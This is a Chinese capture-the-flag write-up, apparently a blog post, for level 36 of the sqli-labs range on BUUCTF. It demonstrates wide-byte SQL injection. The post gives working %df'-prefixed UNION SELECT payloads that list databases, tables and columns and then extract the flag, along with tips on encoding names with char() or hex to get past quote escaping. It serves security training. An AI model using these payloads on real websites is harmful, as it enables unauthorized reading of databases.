buuctf的sqli-labs靶场的36关,(宽字节注入)

目录

开启buuctf靶机

开始宽字节注入

注意(1):

注意(2):


开启buuctf靶机

BUUCTF在线评测

找到第36关

开始宽字节注入

(1)确认有几个字段:?id=1 %df' order by 3%23
(2)爆库名:(ctftraining,information_schema,mysql,performance_schema,security,test)
?id=1 %df' and 1=2 union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
(3)爆表名:flag,news,users
?id=1 %df' and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=char(99,116,102,116,114,97,105,110,105,110,103)) --+
(4)爆数据:flag
?id=1 %df' and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=0x637466747261696E696E67 and table_name=0x666C6167) --+
(5)爆flag:flag{330424d1-f551-4cc2-96ed-8e37018fe6c7}
?id=1 %df' and 1=2 union select 1,2,(select group_concat(flag) from ctftraining.flag)--+

注意(1):

爆表名的时候这里有个小坑,就是库名这里不能有单双引号,否则会被转义

注意(2):

先把刚才爆出来的库名字符转换成ASCII码,然后这里使用char()函数转换成可打印字符

还可以把库名使用hex转字符串的方法,0x637466747261696E696E67

这里有几种注入方式:char()、二进制、十六进制、传参

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值